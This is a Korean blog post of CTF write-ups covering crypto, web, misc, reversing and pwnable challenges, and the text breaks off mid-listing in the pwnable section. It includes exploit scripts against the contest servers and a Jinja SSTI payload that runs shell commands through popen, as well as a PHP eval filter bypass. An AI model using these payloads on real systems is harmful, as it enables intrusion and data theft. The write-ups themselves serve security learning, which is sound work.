3.1. TRIPLE SUS

> maple3142의 sus를 아나요? 아니면 diff의 cry는요?

 

Description에서 언급된 문제는 각각 ImaginaryCTF 2023 - Sus 와 Wacon 2023 Quals - Cry 입니다.

주어진 문제보다는 훨씬 어렵지만, 둘 다 매우 훌륭한 문제이므로 기회가 되면 살펴보시는걸 추천드립니다.

from Crypto.Util.number import *

def gen(bits):
    while True:
        p = getPrime(bits)
        q = 2 * p + 1
        if isPrime(q):
            return p * q

n = gen(300) * gen(300) * gen(300) * getPrime(300)
m = int.from_bytes(open("flag.txt", "rb").read(), "big")
c = pow(m, 0x10001, n)

print((n, c))

 

n, c가 주어지며, n을 인수분해 할 수 있다면 c를 복호화하여 m을 구할 수 있을것입니다.

gen()로 생성된 n의 두 소인수 p, q및 이와 서로소인 x에 대하여, (x2)n−1≡0(modq)입니다.

proof

x≢0(modq)→x2p≡1(modq) (∵q=2p+1)

즉, (x2)n−1≡(x2)kpq−1≡(xkq)2p−1≡0(modq)

 

따라서, a=x2(modq)의 해가 존재하면 an−1≡0(modq)입니다.

from Crypto.Util.number import *

n, c = (..., ...)

qs = set()
for a in range(2, 100): # testing a, 2 to 99 
    q = GCD(n, pow(a, n, n) - 1)

    # 단 하나의 q에 대해서만 해 x 존재
    if q.bit_length() == 301: 
        qs.add(q)

# 3개의 q 모두 추출
assert len(qs) == 3 
qs = list(qs)

# p 계산
ps = [q // 2 for q in qs] 

# 마지막 소인수(r) 계산
r = n 
for i in range(3): 
    r //= ps[i]
    r //= qs[i]

# phi 계산
phi = r - 1 
for i in range(3):
    phi *= ps[i] - 1
    phi *= qs[i] - 1

# c 복호화
d = pow(0x10001, -1, phi)
pt = pow(c, d, n)
print(long_to_bytes(pt))

 

위와 같이 여러 a에 대해 GCD(n, pow(a, n, n) - 1)을 계산함으로써, q를 추출하고 n을 소인수분해합니다.


3.2. DSARRRRRGH

> DSA? Isn't it cryptographically secure?

from Crypto.Util.number import *
import random

class DSA:
    def __init__(self):
        while True:
            self.q = getPrime(160)
            r = random.randrange(1 << 863, 1 << 864)
            self.p = self.q * r + 1
            if self.p.bit_length() != 1024 or isPrime(self.p) != True:
                continue
            h = random.randrange(2, self.p - 1)
            self.g = pow(h, r, self.p)
            if self.g == 1:
                continue
            self.x = random.randrange(1, self.q)
            self.y = pow(self.g, self.x, self.p)
            break

    def sign(self, h):
        k = random.randrange(1, self.q)
        r = pow(self.g, k, self.p)
        s = inverse(k, self.q) * (h + self.x * r) % self.q
        return (r, s)

    def verify(self, h, sig):
        r, s = sig
        if s == 0:
            return False
        s_inv = inverse(s, self.q)
        e1 = h * s_inv % self.q
        e2 = r * s_inv % self.q
        r_ = pow(self.g, e1, self.p) * pow(self.y, e2, self.p) % self.p
        if r_ == r:
            return True
        else:
            return False

flag = "hspace{}"

dsa = DSA()
h0 = random.randrange(1, dsa.q)
r, s = dsa.sign(h0)
print(f"h = {h0}")
print(f"p = {dsa.p}")
print(f"q = {dsa.q}")
print(f"g = {dsa.g}")
print(f"y = {dsa.y}")
print(f"r = {r}")
print(f"s = {s}")

h = int(input("h = "))
r = int(input("r = "))
s = int(input("s = "))

if dsa.verify(h, [r, s]) and (h0 - h) % dsa.q != 0:
    print(flag)
else:
    print("I knew DSA was safe.")

 

DSA의 여러 인수들과 서명 하나가 주어지고, h의 값이 다른 또 다른 서명을 입력하면 flag가 주어집니다.

보통 DSA와 차이점은 h를 마음대로 조작할 수 있다는 점에 있습니다.

우선, 서명은 다음 식을 만족해야 합니다.
ghs−1(modq)yrs−1(modq)≡r(modp)

우리는 여기서 g를 제외한 모든 숫자를 조작할 수 있습니다.

개인적으로 까다롭다고 느낀 점은 r이 mod q상에서 곱셈연산을 하고 p로 나눈 나머지와 비교가 이루어져,

새로운 r에 무언가 계산한 값을 넣기 쉽지 않았습니다.

다행히도, 매우 단순한 해답이 존재합니다.

(h,r,s)=(0,y,y)

해당 값을 대입하면 위 식을 만족하며, flag을 획득할 수 있습니다.


3.3. PADDING NORACLE ATTACK

> Padding oracle attack은 너무 지겨워요, 제가 unpad 함수를 비틀었으니 한 번 이거도 확인해봐주실래요?

from Crypto.Util.Padding import pad
from Crypto.Cipher import AES
from os import urandom
import hashlib

def myunpad(msg):
    return msg[:-msg[-1]]
    # never raises an error, so padding oracle attack is useless.

def unpad_and_proof(msg):
    return hashlib.sha256(myunpad(msg)).digest()

if __name__ == "__main__":
    key = urandom(16)
    iv = bytes(16)

    flag = open("flag.txt", "rb").read()

    enc_flag = AES.new(key, AES.MODE_CBC, iv).encrypt(pad(flag, 16))

    print(f"enc_flag = {bytes.hex(enc_flag)}")

    while True:
        commit = bytes.fromhex(input("Input ciphertext: "))
        proof = unpad_and_proof(AES.new(key, AES.MODE_CBC, iv).decrypt(commit))

        print(f"Proof: {bytes.hex(proof)}")

 

임의의 ciphertext를 입력해, 복호화된 문장의 해시값을 얻을 수 있습니다.

우선 입력으로 마지막에 random한 블록을 준다면, 복호화된 평문의 마지막 바이트도 무작위할 것입니다.

그리고, myunpad()는 마지막 바이트의 값에 따라 앞을 잘라내므로 0~255중 무작위로 고른 값만큼 잘려나갑니다.

이를 이용하여, 앞의 n글자를 알고 있을때 앞의 n+1글자의 가능한 모든 해시값을 계산해두고,

랜덤하게 얻은 해시값 중 하나가 이에 속하면 다음 글자를 알 수 있습니다.

from pwn import *
import hashlib
import os


def sha256(msg):
    return hashlib.sha256(msg).digest()


r = remote("3.34.190.217", "2347")

enc_flag = bytes.fromhex(r.recvline()[11:].decode())

# 해시값 획득
def get_hash(x):
    assert len(x) % 16 == 0
    r.sendlineafter(b": ", x.hex().encode())
    return bytes.fromhex(r.recvline()[7:].decode())

# 맨 앞부터 한글자씩 추출
ans = []
for i in range(64):
    candidates = [sha256(bytes(ans + [c])) for c in range(256)]
    while True:
        h = get_hash(enc_flag + os.urandom(16))
        if h in candidates:
            break
    ans.append(candidates.index(h))
    print(bytes(ans))


4. HARD


4.1. DAEAD

> "AEAD is dead"
> 
> 
> 
> — Friedrich Nietzsche

 

니체는 이런말 한 적 없습니다

#!/usr/local/bin/python3
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
import os

FLAG = 'hspace{fake_flag}'

key = os.urandom(16)
nonce = os.urandom(12)

def encrypt(data):
    aesgcm = AESGCM(key)
    ct = aesgcm.encrypt(nonce=nonce, data=data, associated_data=key)
    return ct

def int_input(message):
    try:
        user_input = input(message)
        user_input = int(user_input)
        if not (0 < user_input < 1024):
            raise
        return user_input
    except KeyboardInterrupt:
        exit(130)
    except:
        print("Invalid input!")
        exit(1)

print("AEADAEADAEADAEADA")
print("E    Welcome    E")
print("A  Select menu  A")
print("DAEADAEADAEADAEAD")
print("===")

while True:
    print("1. Print random bytes")
    print("2. Print encrypted random bytes")
    print("3. Print encrypted flag")
    print("4. Exit")

    choice = int_input("Choose >>> ")

    if choice == 1:
        l = int_input("Length >>> ")
        print(os.urandom(l).hex())
    elif choice == 2:
        l = int_input("Length >>> ")
        ct = encrypt(os.urandom(l))
        print(ct.hex())
    elif choice == 3:
        ct = encrypt(FLAG.encode('utf-8'))
        print(ct.hex())
    elif choice == 4:
        print("Bye")
        exit(0)
    else:
        print("Invalid choice!")

 

encrypt는 key, nonce, associated_data가 모두 고정된 AES-GCM 암호화를 진행합니다.

(GCM mode에 관해서는 개인적으로 위키백과가 제일 깔끔하게 설명했다고 생각합니다.)

그리고 AESGCM의 reference 를 보면, AESGCM.encrypt()는 16byte 태그를 암호화된 값의 뒤에 붙여서 리턴합니다.

Ek,A(=key),H 모두 고정되어있고, C의 길이도 마음대로 지정할 수 있으므로 이를 모두 계산할 수 있습니다.

우선, Ek, A, key, H 계산에 있어 중심이 되는 식은 아래 4가지입니다.

# tag0 = E_k + bitlen_block(16, 16) * H + data0[-1] * H ^ 2 + A * H ^ 3
# tag1 = E_k + bitlen_block(16, 16) * H + data1[-1] * H ^ 2 + A * H ^ 3
# tag2 = E_k + bitlen_block(16, 32) * H + data2[-1] * H ^ 2 + data2[-2] * H ^ 3 + A * H ^ 4
# A = key

 * bitlen_block()은 A, C의 바이트 수를 입력으로 받아 len(A)||len(C) 블록을 리턴합니다.
 * len(A) = len(data0) = len(data1) = 16
 * len(data2) = 32

그 이후 위 식들을 토대로 H, key, Ek순으로 계산하였습니다.

이 뒤에는 아래의 두 식을 통해 검산 및 nonce를 계산하였습니다.

# H = enc(0)
assert cipher.encrypt(b"\x00" * 16) == ele2bytes(H)
# dec(E_k) = counter0 = IV || 0^31 || 1
nonce = cipher.decrypt(Ek)[:12]

 

필요한 모든 값을 계산하였으므로, 동일한 cipher을 만들고 복호화를 하면 됩니다.

# https://cryptohack.org/challenges/forbidden_fruit/solutions/
# functions from VincBreaker's writeup
from Crypto.Util.number import bytes_to_long, long_to_bytes

BF.<X> = GF(2)[]
FF.<A> = GF(2 ^ 128, modulus=X ^ 128 + X ^ 7 + X ^ 2 + X + 1)

# int to element
def int2ele(integer):
    res = 0
    for i in range(128):
        # rightmost bit is x127
        res += (integer & 1) * (A ^ (127 - i))
        integer >>= 1
    return res

# bytes to element
def bytes2ele(b):
    return int2ele(bytes_to_long(b))

# element to int
def ele2int(element):
    integer = element.integer_representation()
    res = 0
    for i in range(128):
        res = (res << 1) + (integer & 1)
        integer >>= 1
    return res

# element to bytes
def ele2bytes(ele):
    return long_to_bytes(ele2int(ele))


from cryptography.hazmat.primitives.ciphers.aead import AESGCM
from Crypto.Cipher import AES
from pwn import *

# len(A)||len(C) 블럭을 FF의 원소로 리턴
def bitlen_block(auth_len, plain_len):
    auth_bitlen = auth_len * 8
    plain_bitlen = plain_len * 8
    return int2ele((auth_bitlen << 64) | plain_bitlen)


r = remote("3.34.190.217", "41337")

r.sendlineafter(b"> ", b"3")
enc = bytes.fromhex(r.recvline().decode())

# 블럭들과 태그로 쪼개서 리턴
def get2ele(x):
    r.sendlineafter(b"> ", b"2")
    r.sendlineafter(b"> ", str(x).encode())
    data = bytes.fromhex(r.recvline().decode())
    data, tag = data[:-16], data[-16:]
    return [bytes2ele(data[i : i + 16]) for i in range(0, len(data), 16)], bytes2ele(tag)

data0, tag0 = get2ele(16)
data1, tag1 = get2ele(16)
data2, tag2 = get2ele(32)

# tag0 = E_k + bitlen_block(16, 16) * H + data0[-1] * H ^ 2 + A * H ^ 3
# tag1 = E_k + bitlen_block(16, 16) * H + data1[-1] * H ^ 2 + A * H ^ 3
# tag2 = E_k + bitlen_block(16, 32) * H + data2[-1] * H ^ 2 + data2[-2] * H ^ 3 + A * H ^ 4
# A = key

r.close()

# tag0 + tag1 = (data0[0] + data1[0]) * H ^ 2
H2 = (tag0 + tag1) / (data0[0] + data1[0])

# H2 ^ (2 ^ 128 - 1) = 1
# (H2 ^ (2 ^ 127)) ^ 2 = H2
H = H2 ^ (2 ^ 127)


rem1 = tag1 + bitlen_block(16, 16) * H + data1[-1] * H ^ 2
rem2 = tag2 + bitlen_block(16, 32) * H + data2[-1] * H ^ 2 + data2[-2] * H ^ 3
rem = rem1 + rem2

# rem1 = E_k + key * H ^ 3
# rem2 = E_k + key * H ^ 4
# rem = key * (H ^ 4 + H ^ 3)

key = rem / (H ^ 4 + H ^ 3)
Ek = rem1 + key * H ^ 3


key, Ek = ele2bytes(key), ele2bytes(Ek)
cipher = AES.new(key, AES.MODE_ECB)

# H = enc(0)
assert cipher.encrypt(b"\x00" * 16) == ele2bytes(H)
# dec(E_k) = counter0 = IV || 0^31 || 1
nonce = cipher.decrypt(Ek)[:12]

aesgcm = AESGCM(key)
print(aesgcm.encrypt(nonce, enc, key))


4.2. ANOTHER RSA PERMUTATION

> 36진법이라, 재미있군요. 과연 36!개의 연산이 가능할까요?

from Crypto.Util.number import getPrime
import random

# I will use all 0 ~ 9 & a ~ z
def permute(num):
    res = ""
    while num:
        res = perm[num % 36] + res
        num //= 36
    return res

p, q = getPrime(1024), getPrime(1024)
n = p * q
e = 0x10001
d = pow(e, -1, (p - 1) * (q - 1))

perm = list("0123456789abcdefghijklmnopqrstuvwxyz")
random.shuffle(perm)

m = int.from_bytes(open("flag.txt", "rb").read(), "big")
c = pow(m, e, n)

print(f"enc_flag = {permute(c)}")

while True:
    c = int(input("Input ciphertext: "))
    m = pow(c, d, n)
    print(f"Plaintext: {permute(m)}")

 

chall.py는 암호문을 출력하고, 모든 입력에 대해 복호화된 값을 출력합니다.

다만 모든 출력은 36진수로, 각각의 문자가 무슨 값을 의미하는지 모른채로 이루어집니다.

풀이의 핵심이 되는 성질은 d가 홀수이므로 xd+(−x)d≡0(modn)이며,

0≤m<n 이므로 x,−x를 입력으로 주었을 때 m이 0이 아니라면 반드시 합이 n이 됩니다.

각 글자가 가지는 값을 미지수로 생각하면, 해당 문제를 일차연립방정식으로 나타낼 수 있게 됩니다.

예를 들어, "13n"이 16이라면
1296x1+36x3+xn=16와 같이 나타낼 수 있습니다.

또한 이러한 수식은 인수를 나타내는 벡터와 미지수를 나타내는 벡터의 내적으로 나타낼 수 있습니다.

from pwn import *

r = remote("3.34.190.217", "2346")


def dec(x):
    r.sendlineafter(b": ", str(x).encode())
    r.recvuntil(b": ")
    return r.recvline()[:-1].decode()


def analysis(x):
    chars = "0123456789abcdefghijklmnopqrstuvwxyz"
    ret = [0] * 36
    t = 1
    for c in x[::-1]:
        ret[chars.index(c)] += t
        t *= 36
    return vector(ret)


def dec_analysis(x):
    return analysis(dec(x)) + analysis(dec(-x))


r.recvuntil(b"= ")
enc = r.recvline()[:-1].decode()

M = []
for i in range(36):
    M.append(dec_analysis(i + 2) - dec_analysis(1))
M = Matrix(M)

 

dec_analysis(x)는 x,−x를 입력했을 때 리턴되는 문자열을 토대로 방정식의 인수를 나타낸 벡터를 리턴합니다.

즉, x가 n의 배수가 아닌 이상 dec_analysis(x)에 미지수를 나타내는 벡터를 내적하면 n이 됩니다.

이를 이용하여, 미지수를 나타내는 벡터 v에 대해 Mv=0→을 만족하는 M을 만듭니다.

여기서 M을 구하는 방법은 다양합니다만, 저는 LLL을 활용하도록 하겠습니다.

M = M.stack(identity_matrix(36))
M = M.transpose()
v = M.LLL()[0][36:]

 

M의 원소들의 크기에 비해 저희가 원하는 값들의 크기는 36 미만으로 매우 작습니다.

단위행렬을 아래 붙여 각 열에 1을 붙이고, 이의 전치행렬에 LLL을 계산하면
앞의 36개 원소는 0, 뒤의 36개 원소는 각 미지수의 값인 벡터가 구해집니다.

따라서, 이제 36진수 문자열을 복호화 할 수 있으며 flag 또한 계산할 수 있습니다.

from pwn import *

r = remote("3.34.190.217", "2346")


def dec(x):
    r.sendlineafter(b": ", str(x).encode())
    r.recvuntil(b": ")
    return r.recvline()[:-1].decode()


def analysis(x):
    chars = "0123456789abcdefghijklmnopqrstuvwxyz"
    ret = [0] * 36
    t = 1
    for c in x[::-1]:
        ret[chars.index(c)] += t
        t *= 36
    return vector(ret)


def dec_analysis(x):
    return analysis(dec(x)) + analysis(dec(-x))


r.recvuntil(b"= ")
enc = r.recvline()[:-1].decode()

M = []
for i in range(36):
    M.append(dec_analysis(i + 2) - dec_analysis(1))
M = Matrix(M)

M = M.stack(identity_matrix(36))
M = M.transpose()
v = M.LLL()[0][36:]

# v 부호 양수로 고정
if v[0] < 0:
    v = v * -1

# enc 문자열 -> 정수
enc = analysis(enc) * v

# dec(enc) 문자열 -> 정수
ans = analysis(dec(enc)) * v

# print(long_to_bytes(ans))
print(bytes.fromhex(hex(ans)[2:]))

 

 

 

 

 

 

좋아요1
공유하기

게시글 관리

구독하기ks의 잡다한 블로그


'CTF > WRITEUP' 카테고리의 다른 글

ACSC 2024 Quals writeup  (0) 2024.04.07 KalmarCTF 2024 writeup  (0) 2024.03.19
Space WAR 2023 writeup  (1) 2023.12.31

ks의 잡다한 블로그_ks 님의 블로그입니다.구독하기
댓글8
 * Sechack
   
   gosu
   
   2023. 12. 28. 01:02답글
   더보기
    * 신고
    * 링크복사
   
   비밀번호 입력입력하기
   * _ks
     
     sugo
     
     2024. 1. 1. 10:13답글
     더보기
      * 신고
      * 링크복사
     
     비밀번호 입력입력하기
 * diff
   
   :fan: 이에요
   
   2023. 12. 31. 21:10답글
   더보기
    * 수정
    * 삭제
    * 신고
    * 링크복사
   
   비밀번호 입력입력하기
   * _ks
     
     우와!!!! 새해 복 많이 받으세요!!!
     
     2024. 1. 1. 01:19답글
     더보기
      * 신고
      * 링크복사
     
     비밀번호 입력입력하기
 * gss1
   
   돈 많이 벌게 해주세요
   
   2023. 12. 31. 23:33답글
   더보기
    * 수정
    * 삭제
    * 신고
    * 링크복사
   
   비밀번호 입력입력하기
   * _ks
     
     좋은 문제 감사했습니다!!!! 새해 복 많이 받으세요!!!
     
     2024. 1. 1. 01:20답글
     더보기
      * 신고
      * 링크복사
     
     비밀번호 입력입력하기
 * sk_
   
   감사합니다
   
   2024. 1. 4. 00:16답글
   더보기
    * 수정
    * 삭제
    * 신고
    * 링크복사
   
   비밀번호 입력입력하기
   * _ks
     
     도플갱어ㄷㄷㄷ
     
     2024. 2. 25. 12:44답글
     더보기
      * 신고
      * 링크복사
     
     비밀번호 입력입력하기

비밀글등록


SPACE WAR 2023 WRITEUP

_ks 2023. 12. 31. 23:29
2023. 12. 31. 23:29

여러 문제로 인해 대회가 끝난지 한참이 되고서야(2달 뒤) 업로드를 하게 되었다.

 

가능하면 문제를 모두 풀어서 업로드하고 싶었는데, 시간이 없어 나머지 문제를 마저 채우기에는 어려움이 있을것 같다.


1. WEB


1.1. MEEMO





 

이렇게 템플릿을 수정할 수 있다.

보자마자 SSTI가 절로 떠오르게 생겼다.

 





 

{{config}}를 넣으면 이렇게 되는데, 일단 저기 있는 SECRET_KEY가 플래그는 아니었다.





 

{{''.__class__.__mro__[1].__subclasses__()}}를 넣고, popen이 있음을 확인했다.

앞에 있는 , 개수는 367개였다.

 

즉, 뒤에 [367](cmd,shell=True,stdout=-1).communicate() 를 추가해

cmd를 실행시킬 수 있으며, 이를 통해 ls, cat flag를 할 수 있다.

 





 

<td>{{''.__class__.__mro__[1].__subclasses__()[367]('cat
flag',shell=True,stdout=-1).communicate()}}</td>를 추가해,

다음과 같이 flag를 획득할 수 있다!!!

 

 


1.2. BABYWEB

<?php 
include "flag.php";

function valid_url($array){
  try{
    foreach($array as $key => $value) {
      if($key === "isAdmin"){
        return true;
      } else {
        return false;
      }
    }
  } catch(Exception $e) {	
     return true; 
  }
}
preg_match('/\/.*\?[a-z0-9!@%^*]+\[(.*)\]=.*/s',$_SERVER['REQUEST_URI'],$match);
if($match[1] === "isAdmin"){
  foreach($_GET as $key => $value) {
    if(valid_url($_GET[$key])) {
      die('nohack');
    } else {
        $code = $_GET['cmd'];
        if (preg_match('/\(|\)|\d|[^A-Zb-df-km-uw-z]|\{|\}|\*|\&|\/|\_|\-|\||\./m',$code) && strlen($code)<500){
        eval($_GET['cmd']);
      }
      break;
    }
  }
}
highlight_file(__FILE__);
?>

 

일단 주어진 기본 코드는 다음과 같다.

 

우선 '/?xx[isAdmin]=xx' 꼴의 문자열이 있어야 if문이 통과가 가능한데,

정작 첫 요소의 배열에 첫 key가 isAdmin이면 validurl이 true를 리턴한다.

 

예를 들어, '/?k[isAdmin]=true' 같은걸 넘기면

validurl에 k가 인자로 넘어가 k의 첫 인자인 isAdmin을 검증하여 true가 리턴된다.

 

그렇다고 k에 또 다른 key를 추가하면 ]가 하나 더 추가되어

if문 진입 자체가 안된다.

 





 

대신 인자를 아예 이렇게 넘기면 에러가 터진다.

즉, cmd를 원하는대로 넣을 수 있다!

 





 

flag.php가 include 되어있으므로, 그대로 읽어올 수 있다.

 


2. MISC


2.1. HSPACE SHELL

def read(name):
    if 'flag' in name:
        bye()
    with open(name, 'rb') as f:
        print(f.read())

def echo(buffer):
    print(buffer)

def ls(dir):
    __import__('os').system(f'ls {dir}')

def hspace(buf):
    if buf == 'hspace':
        with open('/home/prob/flag', 'r') as f:
            print(f.read())
            bye()
    print('Nah...')

def bye():
    __import__('sys').exit(0)

def usage():
    print('usage: {command} {arg}')
    print('Commands list:')
    for i in range(len(FUNCS)):
        print('    %s'%FUNCS[i].__name__)

FUNCS = [read, echo, ls, bye, hspace]

def main():
    print('''
 _   _ ____  _   _  __  _   _                            ____  _          _ _  __  
| | | / ___|| | | |/ / | | | |___ _ __   __ _  ___ ___  / ___|| |__   ___| | | \ \ 
| |_| \___ \| |_| | |  | |_| / __| '_ \ / _` |/ __/ _ \ \___ \| '_ \ / _ \ | |  | |
|  _  |___) |  _  | |  |  _  \__ \ |_) | (_| | (_|  __/  ___) | | | |  __/ | |  | |
|_| |_|____/|_| |_| |  |_| |_|___/ .__/ \__,_|\___\___| |____/|_| |_|\___|_|_|  | |
                   \_\           |_|                                           /_/ 
    ''')
    while(True):
        try:
            found = False
            commands = input("knight@hspace:~/prob/$ ").replace('hspace', '').strip().split(' ')
            if len(commands) != 2:
                raise ValueError()
            for func in FUNCS:
                if commands[0] == func.__name__:
                    found = True
                    func(commands[1])
            if found:
                continue
            print(f'hsh: command not found: {commands[0]}')
        except KeyboardInterrupt:
            bye()
        except ValueError:
            usage()

if __name__ == '__main__':
    main()

 

두 단어를 입력받아 첫 단어가 funcs 안에 들어가있으면,

두번째 단어를 인자로 하여 실행시킨다.

 

hspace('hspace')를 실행시키면 flag를 얻을 수 있지만.

hspace를 replace 해 지운다.

 





 

hshspacepace같은 단어를 넣으면 replace를 우회할 수 있다.

 


3. REVERSING


3.1. HS-BOX

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  int i; // [rsp+Ch] [rbp-84h]
  char input[104]; // [rsp+10h] [rbp-80h] BYREF
  unsigned __int64 v6; // [rsp+78h] [rbp-18h]

  v6 = __readfsqword(0x28u);
  memset(input, 0, 0x64uLL);
  printf("Input: ");
  __isoc99_scanf("%s", input);
  for ( i = 0; i < strlen(input); ++i )
  {
    input[i] = sbox1(input[i]);
    xor(input[i], i + 1);
  }
  if ( !strcmp(input, &target) )
    puts("Correct!");
  else
    puts("Wrong!");
  return 0LL;
}

 

저기 sbox1() 함수는 그저 배열에 인자를 넣어 리턴하는 함수이며,

xor 함수는 결국 리턴값이 활용되지 않기 때문에 무시해도 된다.

 

때문에, 입력값이 sbox에 의해 치환되는것만 역산하면 된다!

sbox=[0x7D,0xB0,0x44,0x03,0xE0,0x21,0x4F,0x59,0x0F,0xAD,0xAC,0x76,0x68,0xCA,0x8E,0x09,0x8B,0xB8,0xB4,0xC6,0x15,0x4E,0x31,0x0C,0x10,0x66,0x4D,0x22,0x30,0x96,0x45,0xA3,0x20,0x48,0x33,0x86,0xF5,0x1B,0xBD,0xB3,0x55,0x3B,0x5D,0x2D,0x67,0x5B,0x9D,0x6B,0x7F,0xD1,0x50,0x74,0xDD,0x63,0x41,0xF0,0x71,0xA9,0xE4,0x27,0x6F,0xBC,0x7A,0x2A,0x84,0xDA,0x14,0xC3,0xD0,0x3C,0x29,0x9B,0xC9,0xB7,0xE1,0x46,0x7E,0xEE,0x79,0x88,0x6A,0x0E,0xCB,0xA2,0x9E,0x92,0x8A,0xC7,0xE7,0xFA,0x1E,0xC2,0x62,0xBB,0x13,0xD4,0xA1,0x4C,0xC4,0xD6,0xF8,0xF1,0xF2,0x91,0xC0,0x64,0x26,0x6D,0xA0,0xC1,0x8C,0x04,0x02,0x1F,0xB5,0xDF,0x61,0xC8,0xBF,0x80,0x08,0x36,0x24,0xAB,0x38,0x5C,0xD8,0xAF,0x01,0x2F,0x4A,0x32,0x1A,0xF7,0xD9,0xAA,0x17,0x78,0x16,0xFD,0xE6,0x18,0xA6,0x34,0x54,0x0A,0xB9,0x23,0xFB,0xA8,0x3A,0x25,0xB6,0x0D,0xEC,0x6C,0x65,0xDB,0xE5,0xF4,0x95,0x56,0x11,0x49,0xB1,0x90,0x7C,0x0B,0x93,0x99,0x83,0xCF,0x28,0x7B,0x42,0x81,0xCE,0xEA,0xD2,0xBE,0x37,0x85,0x1C,0x69,0xE8,0x06,0xFE,0x98,0x5F,0x51,0xE3,0x53,0x1D,0xED,0x8D,0xB2,0xF6,0x19,0xA7,0xFC,0x70,0x75,0x5A,0x2E,0xEB,0x3E,0x6E,0x57,0x9C,0x58,0xCC,0x5E,0x97,0xE9,0x2C,0x87,0xD5,0xDE,0x12,0x82,0x3D,0x89,0xCD,0x00,0x94,0xE2,0xDC,0xF3,0xEF,0x73,0x9F,0xD3,0x05,0x39,0x9A,0xC5,0x2B,0xAE,0x07,0xA5,0x77,0x47,0xBA,0x3F,0x72,0x43,0xF9,0xA4,0x52,0x4B,0x35,0x8F,0x60,0x40,0xD7,0x00]
target=[0xC0,0xDF,0x02,0x4C,0xD6,0xF1,0xAB,0xA2,0xA2,0xA2,0xA2,0xA2,0xA2,0xA2,0xA2,0xA2,0xA2,0xA2,0xA2,0x02,0xDD,0xD6,0x74,0xD4,0x14,0x7F,0xE7,0x48,0x5C]

target=[sbox.index(_) for _ in target]
print(bytes(target))
#b'hspace{SSSSSSSSSSSSp4c3_B0X!}'

 


3.2. WHERE IS CF





 

이 문제는 main 호출 전후로 호출되는 함수들이 담겨있는

_init_array&_fini_array를 확인해야 한다.

 

__int64 sub_11E0()
{
  __int64 result; // rax
  int v1; // eax
  char v2; // al
  unsigned int v3; // [rsp+0h] [rbp-10h]
  int v4; // [rsp+4h] [rbp-Ch]
  int v5; // [rsp+8h] [rbp-8h]
  int i; // [rsp+Ch] [rbp-4h]

  srand(0x12345678u);
  for ( i = 0; ; ++i )
  {
    result = i;
    if ( (unsigned __int64)i >= 1024 )
      break;
    v3 = table[i];
    v1 = rand();
    v5 = shr8(v1 & 0x7FFFFFFF ^ v3);
    v4 = table[i];
    v2 = rand();
    table[i] = same(v2 ^ (unsigned __int8)v4) ^ v5;
  }
  return result;
}

 

우선 sub_11E0은 위와 같이 srand&rand로 table을 초기화하고,

 

int sub_1280()
{
  if ( !memcmp(&byte_5070, &unk_50B0, 0x27uLL) )
    return printf("Correct!\n");
  else
    return printf("Wrong!\n");
}

 

sub_1280은 main 종료 이후 문자열 검증이 이루어진다.

 

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  char v4; // [rsp+4h] [rbp-7Ch]
  int i; // [rsp+8h] [rbp-78h]
  int v6; // [rsp+Ch] [rbp-74h]
  char src[48]; // [rsp+10h] [rbp-70h] BYREF
  char s[60]; // [rsp+40h] [rbp-40h] BYREF
  int v9; // [rsp+7Ch] [rbp-4h]

  v9 = 0;
  setvbuf(stdout, 0LL, 2, 0LL);
  memset(s, 0, 0x30uLL);
  memset(src, 0, sizeof(src));
  printf("Input flag : ");
  v6 = read(0, s, 0x30uLL);
  s[v6 - 1] = 0;
  for ( i = 0; i < v6; ++i )
  {
    v4 = s[i];
    src[i] = table[rand() % 1024] ^ v4;
  }
  memcpy(&unk_50B0, src, v6);
  printf("End :)");
  return 0LL;
}

 

따라서 우리는 sub_11E0대로 table을 초기화하고,

rand()값에 따라 input에 xor되는걸 역산하여 flag를 계산해야 한다.

 

from ctypes import *

libc = CDLL("/lib/x86_64-linux-gnu/libc.so.6")

s=[
 ...
]

target=[
 0xAF,0xA5,0x15,0x72,0xF8,0x1A,0x06,0x70,0x62,0x58,0xEF,0x0E,0x3E,0x19,0xA1,0x5E
,0x2B,0x1B,0x25,0xFB,0x55,0x5B,0xCC,0xBF,0x80,0x10,0xFC,0x2B,0xFE,0xEF,0x18,0x03
,0x5F,0x6A,0x9A,0xEE,0x4D,0x23,0x4C
]

s=[s[i]|(s[i+1]<<8) for i in range(0,4096,4)]

assert len(s)==1024

libc.srand(0x12345678)
for i in range(1024):
    x=libc.rand()^s[i]
    x>>=8
    y=libc.rand()^s[i]
    y&=0xff
    s[i]=x^y

print(len(target))

for i,t in enumerate(target):
    target[i]^=s[libc.rand()%1024]&0xFF

print(bytes(target))

 

디버깅해서 sub_11E0 이후 table을 불러오는것도 방법이지만,

번거로워 굳이 선택하지는 않았다.

 

srand 및 rand는 ctypes를 통해 재연하였고, 

그 뒤 역산을 통해 flag를 획득했다.


4. PWNABLE


4.1. HSPACE BOX

int __cdecl main(int argc, const char **argv, const char **envp)
{
  User *v3; // rbx
  User *sudo_user; // rbx
  User *v5; // rbx
  __int64 help_message; // rax
  __int64 v7; // rbx
  int v8; // eax
  __int64 v9; // rax
  __int64 v10; // rbx
  __int64 v11; // rax
  __int64 v12; // rax
  __int64 v13; // rax
  __int64 v14; // rax
  __int64 v15; // rax
  __int64 v16; // rax
  char sudomode; // [rsp+Fh] [rbp-D1h]
  __int64 v20; // [rsp+10h] [rbp-D0h] BYREF
  __int64 v21; // [rsp+18h] [rbp-C8h] BYREF
  __int64 v22; // [rsp+20h] [rbp-C0h] BYREF
  __int64 v23; // [rsp+28h] [rbp-B8h] BYREF
  User *user_now; // [rsp+30h] [rbp-B0h] MAPDST
  User *user_backup; // [rsp+38h] [rbp-A8h]
  char input[32]; // [rsp+40h] [rbp-A0h] BYREF
  char v27[32]; // [rsp+60h] [rbp-80h] BYREF
  char v28[32]; // [rsp+80h] [rbp-60h] BYREF
  char v29[40]; // [rsp+A0h] [rbp-40h] BYREF
  unsigned __int64 v30; // [rsp+C8h] [rbp-18h]

  v30 = __readfsqword(0x28u);
  banner();
  std::string::basic_string(input, argv);
  std::string::basic_string(v27, argv);
  std::operator<<<std::char_traits<char>>(&std::cout, "Login: ");
  std::getline<char,std::char_traits<char>,std::allocator<char>>(&std::cin, v27);
  std::string::basic_string(v29, v27);
  v3 = (User *)operator new(0x28uLL);
  User::User(v3, (__int64)v29);
  user_now = v3;
  std::string::~string(v29);
  while ( 1 )
  {
    sudomode = 0;
    std::operator<<<std::char_traits<char>>(&std::cout, ">>> ");
    std::getline<char,std::char_traits<char>,std::allocator<char>>(&std::cin, input);
